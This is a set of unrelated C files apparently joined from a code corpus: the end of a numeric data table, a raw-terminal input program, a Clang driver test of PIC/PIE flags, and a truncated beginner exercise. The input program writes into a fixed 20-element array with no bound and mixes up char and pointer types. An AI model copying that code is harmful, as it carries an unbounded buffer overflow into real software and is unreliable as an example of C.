0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,32,0,0,0,128,0,0,0,2,0,0,0,
136,0,0,0,0,0,0,0,136,0,0,0,140,0,0,0,
2,0,0,0,148,0,0,0,0,0,0,0,148,0,0,0,
39,0,0,0,118,2,0,0,128,5,0,0,8,1,0,0,
144,7,0,0,15,0,0,0,2,2,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
204,7,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,103,0,39,0,39,0,39,0,
39,0,39,0,39,0,39,0,164,0,39,0,39,0,39,0,
39,0,39,0,39,0,39,0,39,0,39,0,39,0,39,0,
191,0,39,0,39,0,250,0,39,0,23,1,87,1,39,0,
39,0,39,0,39,0,150,1,194,1,247,1,39,0,39,0,
39,0,39,0,54,2,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,8,0,8,0,12,0,16,0,0,0,
20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
25,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,29,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,35,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,37,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,41,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,45,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,49,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,52,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,54,0,0,0,0,0,0,0,58,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,62,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,
0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,
0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,
1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,5,0,0,0,0,0,
0,0,0,0,0,0,6,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,7,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,9,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
11,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,12,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,13,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,14,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,128,0,0,0,129,
237,199,0,2,162,214,0,2,183,185,0,2,244,186,0,2,
244,219,0,2,189,195,0,2,218,229,0,2,166,231,0,2,
213,183,0,2,230,192,0,2,248,240,0,2,205,194,0,2
}
};
U_CDECL_END
|
the_stack_data/234518024.c | #include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main()
{
int i=0,j;
char* a[20];
char temp;
//scanf("%s",&a);
system("/bin/stty raw");
temp=getchar();
while(1)
{
a[i]=temp;
i++;
if(temp==EOF)
{
a[i]='\0';
break;
}
else if(temp=='\x0A')
a[i]='\n';
temp=getchar();
}
system("/bin/stty cooked");
for(j=0;j<i;j++)
printf("%c",a[j]);
} |
the_stack_data/20642.c | // Test the driver's control over the PIC behavior. These consist of tests of
// the relocation model flags and the pic level flags passed to CC1.
//
// CHECK-NO-PIC: "-mrelocation-model" "static"
// CHECK-NO-PIC-NOT: "-pic-level"
// CHECK-NO-PIC-NOT: "-pic-is-pie"
//
// CHECK-PIC1: "-mrelocation-model" "pic"
// CHECK-PIC1: "-pic-level" "1"
// CHECK-PIC1-NOT: "-pic-is-pie"
//
// CHECK-PIC2: "-mrelocation-model" "pic"
// CHECK-PIC2: "-pic-level" "2"
// CHECK-PIC2-NOT: "-pic-is-pie"
//
// CHECK-STATIC: "-static"
// CHECK-NO-STATIC-NOT: "-static"
//
// CHECK-PIE1: "-mrelocation-model" "pic"
// CHECK-PIE1: "-pic-level" "1"
// CHECK-PIE1: "-pic-is-pie"
//
// CHECK-PIE2: "-mrelocation-model" "pic"
// CHECK-PIE2: "-pic-level" "2"
// CHECK-PIE2: "-pic-is-pie"
//
// CHECK-PIE-LD: "{{.*}}ld{{(.exe)?}}"
// CHECK-PIE-LD: "-pie"
// CHECK-PIE-LD: "Scrt1.o" "crti.o" "crtbeginS.o"
// CHECK-PIE-LD: "crtendS.o" "crtn.o"
//
// CHECK-NOPIE-LD: "-nopie"
//
// CHECK-DYNAMIC-NO-PIC-32: "-mrelocation-model" "dynamic-no-pic"
// CHECK-DYNAMIC-NO-PIC-32-NOT: "-pic-level"
// CHECK-DYNAMIC-NO-PIC-32-NOT: "-pic-is-pie"
//
// CHECK-DYNAMIC-NO-PIC-64: "-mrelocation-model" "dynamic-no-pic"
// CHECK-DYNAMIC-NO-PIC-64: "-pic-level" "2"
// CHECK-DYNAMIC-NO-PIC-64-NOT: "-pic-is-pie"
//
// CHECK-NON-DARWIN-DYNAMIC-NO-PIC: error: unsupported option '-mdynamic-no-pic' for target 'i386-unknown-unknown'
//
// CHECK-NO-PIE-NOT: "-pie"
//
// CHECK-NO-UNUSED-ARG-NOT: argument unused during compilation
//
// RUN: %clang -c %s -target i386-unknown-unknown -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target i386-unknown-unknown -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
//
// Check that PIC and PIE flags obey last-match-wins. If the last flag is
// a no-* variant, regardless of which variant or which flags precede it, we
// get no PIC.
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fno-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -fno-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -fno-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIE -fno-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fno-PIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -fno-PIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -fno-PIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIE -fno-PIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fno-pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -fno-pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -fno-pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIE -fno-pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-unknown-unknown -fPIE -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
//
// Last-match-wins where both pic and pie are specified.
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -fpic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target i386-unknown-unknown -fPIE -fpic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-unknown-unknown -fPIE -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fpie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -fpie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
//
// Last-match-wins when selecting level 1 vs. level 2.
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-unknown-unknown -fPIC -fpic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target i386-unknown-unknown -fpic -fPIE -fpie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target i386-unknown-unknown -fpie -fPIC -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
//
// Make sure -pie is passed to along to ld and that the right *crt* files
// are linked in.
// RUN: %clang %s -target i386-unknown-freebsd -fPIE -pie -### \
// RUN: --gcc-toolchain="" \
// RUN: --sysroot=%S/Inputs/basic_freebsd_tree 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE-LD
// RUN: %clang %s -target i386-linux-gnu -fPIE -pie -### \
// RUN: --gcc-toolchain="" \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE-LD
// RUN: %clang %s -target i386-linux-gnu -fPIC -pie -### \
// RUN: --gcc-toolchain="" \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE-LD
//
// Disregard any of the PIC-specific flags if we have a trump-card flag.
// RUN: %clang -c %s -target i386-unknown-unknown -mkernel -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// The -static argument *doesn't* override PIC: -static only affects
// linking, and -fPIC only affects code generation.
// RUN: %clang -c %s -target i386-unknown-unknown -static -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang %s -target i386-linux-gnu -static -fPIC -### \
// RUN: --gcc-toolchain="" \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-STATIC
//
// On Linux, disregard -pie if we have -shared.
// RUN: %clang %s -target i386-unknown-linux -shared -pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIE
//
// On Musl Linux, PIE is enabled by default, but can be disabled.
// RUN: %clang -c %s -target x86_64-linux-musl -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i686-linux-musl -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target armv6-linux-musleabihf -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target armv7-linux-musleabihf -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang %s -target x86_64-linux-musl -nopie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIE
// RUN: %clang %s -target x86_64-linux-musl -pie -nopie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIE
// RUN: %clang %s -target x86_64-linux-musl -nopie -pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
//
// Darwin is a beautiful and unique snowflake when it comes to these flags.
// When targeting a 32-bit darwin system, only level 2 is supported. On 64-bit
// targets, there is simply nothing you can do, there is no PIE, there is only
// PIC when it comes to compilation.
// RUN: %clang -c %s -target i386-apple-darwin -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-apple-darwin -fpic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-apple-darwin -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-apple-darwin -fpie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i386-apple-darwin -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i386-apple-darwin -fno-PIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-apple-darwin -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target i386-apple-darwin -fno-PIC -fpic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i386-apple-darwin -fno-PIC -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target x86_64-apple-darwin -fno-PIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target x86_64-apple-darwin -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target x86_64-apple-darwin -fpic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target x86_64-apple-darwin -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target x86_64-apple-darwin -fPIC -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-UNUSED-ARG
//
// Darwin gets even more special with '-mdynamic-no-pic'. This flag is only
// valid on Darwin, and it's behavior is very strange but needs to remain
// consistent for compatibility.
// RUN: %clang -c %s -target i386-unknown-unknown -mdynamic-no-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NON-DARWIN-DYNAMIC-NO-PIC
// RUN: %clang -c %s -target i386-apple-darwin -mdynamic-no-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-DYNAMIC-NO-PIC-32
// RUN: %clang -c %s -target i386-apple-darwin -mdynamic-no-pic -fno-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-DYNAMIC-NO-PIC-32
// RUN: %clang -c %s -target i386-apple-darwin -mdynamic-no-pic -fpie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-DYNAMIC-NO-PIC-32
// RUN: %clang -c %s -target x86_64-apple-darwin -mdynamic-no-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-DYNAMIC-NO-PIC-64
// RUN: %clang -c %s -target x86_64-apple-darwin -mdynamic-no-pic -fno-pic -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-DYNAMIC-NO-PIC-64
// RUN: %clang -c %s -target x86_64-apple-darwin -mdynamic-no-pic -fpie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-DYNAMIC-NO-PIC-64
//
// Checks for ARM+Apple+IOS including -fapple-kext, -mkernel, and iphonfsc
// version boundaries.
// RUN: %clang -c %s -target armv7-apple-ios6 -fapple-kext -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target armv7-apple-ios6 -mkernel -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target arm64-apple-ios7 -mkernel -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -x assembler -c %s -target arm64-apple-ios7 -mkernel -no-integrated-as -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-STATIC
// RUN: %clang -c %s -target armv7k-apple-watchos1 -fapple-kext -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target armv7-apple-ios5 -fapple-kext -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target armv7-apple-ios6 -fapple-kext -static -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target armv7-apple-unknown-macho -static -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
//
// On OpenBSD, PIE is enabled by default, but can be disabled.
// RUN: %clang -c %s -target amd64-pc-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target i386-pc-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target aarch64-unknown-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target arm-unknown-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target mips64-unknown-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target mips64el-unknown-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target powerpc-unknown-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target sparc-unknown-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target sparc64-unknown-openbsd -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i386-pc-openbsd -fno-pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
//
// On OpenBSD, -nopie needs to be passed through to the linker.
// RUN: %clang %s -target i386-pc-openbsd -nopie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NOPIE-LD
// Try with the alias
// RUN: %clang %s -target i386-pc-openbsd -no-pie -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NOPIE-LD
//
// On Android PIC is enabled by default, and PIE is enabled by default starting
// with API16.
// RUN: %clang -c %s -target i686-linux-android -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i686-linux-android14 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target i686-linux-android16 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i686-linux-android24 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
//
// RUN: %clang -c %s -target arm-linux-androideabi -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target arm-linux-androideabi14 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target arm-linux-androideabi16 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target arm-linux-androideabi24 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
//
// RUN: %clang -c %s -target mipsel-linux-android -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target mipsel-linux-android14 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC1
// RUN: %clang -c %s -target mipsel-linux-android16 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
// RUN: %clang -c %s -target mipsel-linux-android24 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE1
//
// 64-bit Android targets are always PIE.
// RUN: %clang -c %s -target aarch64-linux-android -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target aarch64-linux-android24 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target arm64-linux-android -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
//
// Default value of PIE can be overwritten, even on 64-bit targets.
// RUN: %clang -c %s -target arm-linux-androideabi -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i686-linux-android14 -fPIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIE2
// RUN: %clang -c %s -target i686-linux-android16 -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target aarch64-linux-android -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
// RUN: %clang -c %s -target aarch64-linux-android24 -fno-PIE -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-NO-PIC
//
// On Windows-X64 PIC is enabled by default
// RUN: %clang -c %s -target x86_64-pc-windows-msvc18.0.0 -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
// RUN: %clang -c %s -target x86_64-pc-windows-gnu -### 2>&1 \
// RUN: | FileCheck %s --check-prefix=CHECK-PIC2
|
the_stack_data/148576724.c | #include <stdio.h>
//@cikey 2ec04005815a9deb1e74cd9ef4848bee
//@sid 2021155919
//@aid 4.2
int main()
{
//begin_inputs
int A,B,C;
printf("Escreva 3 numeros:\n");
scanf("%d%d%d", &A, &B, &C);
//end_inputs
if (A>B && A>C)
printf("A: %d - B: %d - C: %d - maior: %d", A, B, C, A );
else
if (B>C)
printf("A: %d - B: %d - C: %d - maior: %d", A, B, C, B );
else
printf("A: %d - B: %d - C: %d - maior: %d", A, B, C, C );
